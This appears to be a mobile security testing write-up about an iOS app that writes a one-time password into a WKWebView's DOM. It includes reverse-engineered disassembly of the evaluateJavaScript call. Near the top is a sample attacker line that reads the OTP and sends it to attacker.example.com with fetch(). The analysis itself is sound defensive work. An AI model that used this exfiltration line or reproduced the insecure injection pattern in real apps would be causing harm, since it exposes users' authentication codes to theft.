This sample loads a WKWebView page with placeholder <div> elements and then injects a one-time-password directly into those elements using evaluateJavaScript with textContent assignments. Because the data is written into the DOM, any JavaScript running on the page can read it at any time:
// Attacker reads the injected OTP from the DOMconstotp=document.getElementById('otp-display').textContent;fetch("https://attacker.example.com/?otp="+otp);
The script identifies the call site where evaluateJavaScript:completionHandler: is used. In the disassembly we can see the construction of the JavaScript string that writes sensitive OTP token into the DOM.
Listallusesofthe'evaluateJavaScript:completionHandler:'selector:0x10000b86838str.evaluateJavaScript:completionHandler:0x1000141988reloc.fixup.evaluateJavaScript:completionHaxrefsto'evaluateJavaScript:completionHandler:':sym.MASTestApp.MastgTest.showWebView.allocator__10x100004978[DATA:r--]ldrx1,reloc.fixup.evaluateJavaScript:completionHaCodesnippetshowingtheconstructionoftheJavaScriptstringandthecalltoevaluateJavaScript:│0x100004910adrpx8,0x10000b000│0x100004914addx8,x8,0x570;0x10000b570;"document.getElementById('otp-display').textContent = '"│0x100004918subx8,x8,0x20│0x10000491cmovx9,0x21;'!'│0x100004920movkx9,0xd000,lsl48│0x100004924addx0,x9,0x15│0x100004928orrx1,x8,0x8000000000000000│0x10000492cmovx20,sp│0x100004930blsym.imp.append_...ySSF_;append(...ySSF)│0x100004934movx0,0x3834;'48'│0x100004938movkx0,0x3932,lsl16;'29'│0x10000493cmovkx0,0x3031,lsl32;'10'│0x100004940movx20,sp│0x100004944movx1,-0x1a00000000000000│0x100004948blsym.imp.append_...ySSF_;append(...ySSF)│0x10000494cmovx20,sp│0x100004950movw0,0x27;'\''│0x100004954movx1,-0x1f00000000000000│0x100004958blsym.imp.append_...ySSF_;append(...ySSF)│0x10000495cldpx0,x20,[sp]│0x100004960movx1,x20│0x100004964blsym.imp.Foundationbool_...ridgeToObjectiveCSo8NSStringCyF_;Foundationbool(...ridgeToObjectiveCSo8NSStringCyF)│0x100004968movx23,x0│0x10000496cmovx0,x20;void*arg0│0x100004970blsym.imp.swift_bridgeObjectRelease;voidswift_bridgeObjectRelease(void*arg0)│0x100004974adrpx8,sym.__METACLASS_DATA__TtC10MASTestApp9MastgTest;0x100014000│0x100004978ldrx1,[x8,0x198];[0x10000b868:4]=0x6c617665;"evaluateJavaScript:completionHandler:";char*selector│0x10000497cmovx0,x22;void*instance│0x100004980movx2,x23│0x100004984movx3,0│0x100004988blsym.imp.objc_msgSend;void*objc_msgSend(void*instance,char*selector)│0x10000498cmovx0,x23;void*instance│0x100004990blsym.imp.objc_release;voidobjc_release(void*instance)│0x100004994adrpx8,0x10000b000│0x100004998addx8,x8,0x5b0;0x10000b5b0;"Sensitive data injected into DOM."
The test case fails because the app writes sensitive data into DOM elements using evaluateJavaScript:completionHandler:.
Addresses 0x100004910–0x100004958: construct the JavaScript string by appending three parts: the string literal "document.getElementById('otp-display').textContent = '" (from 0x10000b570), the OTP value, and a closing '.
Address 0x100004988: dispatches the fully constructed script via objc_msgSend with the evaluateJavaScript:completionHandler: selector, causing the OTP to be written into #otp-display.
The value is written into the DOM and can be read by any script running on the page. In a real app, this value would come from native data sources (for example, an authentication server or a backend API) and would be interpolated into the JavaScript string before evaluation, making it equally readable by page JavaScript once injected.